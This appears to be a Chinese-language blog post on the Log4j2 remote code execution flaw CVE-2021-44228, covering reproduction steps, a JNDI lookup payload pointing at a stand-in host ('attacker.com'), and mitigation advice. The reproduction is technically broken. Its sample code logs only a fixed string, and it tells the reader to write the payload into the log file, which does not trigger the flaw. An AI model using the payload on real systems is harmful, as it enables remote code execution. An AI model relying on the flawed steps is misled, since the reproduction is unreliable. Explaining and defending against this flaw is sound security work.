Log4j2漏洞复现、防御与新版本修复建议

2023-12-04 04:33:46

Log4j2远程代码执行漏洞（CVE-2021-44228）

Apache Log4j2是一个流行的Java日志框架。2021年12月，在Log4j2中发现了一个严重的远程代码执行漏洞（CVE-2021-44228）。该漏洞允许攻击者通过精心设计的日志消息，在使用Log4j2的系统上执行任意代码。

漏洞复现

漏洞复现的步骤如下：

创建一个Java应用程序，其中包含以下代码：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2Example {

    private static final Logger logger = LogManager.getLogger(Log4j2Example.class);

    public static void main(String[] args) {
        logger.info("Hello, Log4j2!");
    }
}

运行该应用程序。
向应用程序的日志文件写入以下消息：

${jndi:ldap://attacker.com/Exploit}

如果漏洞存在，应用程序将尝试连接到attacker.com并执行任意代码。

漏洞防御

为了防御Log4j2漏洞，可以采取以下措施：

升级Log4j2版本： Apache Log4j团队已发布了Log4j2 2.17.1和Log4j2 2.16.0版本，修复了该漏洞。建议尽快升级到这些最新版本。
禁用JNDI查找： 可以通过设置Java系统属性-Dlog4j2.formatMsgNoLookups=true来禁用JNDI查找，从而防御该漏洞。
使用安全日志配置： 确保日志配置不会加载不受信任的日志消息。